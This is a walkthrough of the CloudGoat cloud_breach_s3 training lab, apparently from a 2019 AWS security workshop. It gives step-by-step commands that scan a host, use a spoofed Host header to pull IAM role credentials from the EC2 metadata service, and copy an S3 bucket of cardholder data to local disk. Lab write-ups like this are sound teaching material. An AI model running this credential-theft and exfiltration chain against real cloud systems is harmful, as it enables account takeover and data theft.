1 CloudGoat cloud_breach_s3 walkthrough

This is a guide to the CloudGoat cloud_breach_s3 scenario. It seeks to provide a more realistic view of the recon steps, providing a complete walkthrough without only giving the necessary commands.

It was created by Rami McCarthy for the BASC 2019 AWS Security Fundamentals workshop.

1. Note the provided IP address
2. `sudo nmap -Pn -FO {IP}`
   - nmap manpage
   - `-Pn` disabled ping probes
   - `-F` only scans minimal set of ports
   - `-O` does OS findgerprinting
3. `curl -s {IP}`
   - curl manpage
   - `-s` = silent (no progress or error meter)
4. `man curl | grep -C 3 "custom header"`
5. `curl -s http://<ec2-ip-address>/latest/meta-data/iam/security-credentials/ -H 'Host:169.254.169.254`
   - AWS metadata service
6. `curl -s http://<ec2-ip-address>/latest/meta-data/iam/security-credentials/<ec2-role-name> -H 'Host:169.254.169.254`
7. `aws configure --profile erratic`
   - use the retrieved credentials from step 6
8. `sudo aws configure set aws_session_token {token} --profile erratic`
   - use the retrieved token from step 6
9. `aws s3 ls s3://{bucket} --profile erratic`
10. `aws s3 sync s3://<bucket-name> ./cardholder-data --profile erratic`

    https://github.com/RhinoSecurityLabs/cloudgoat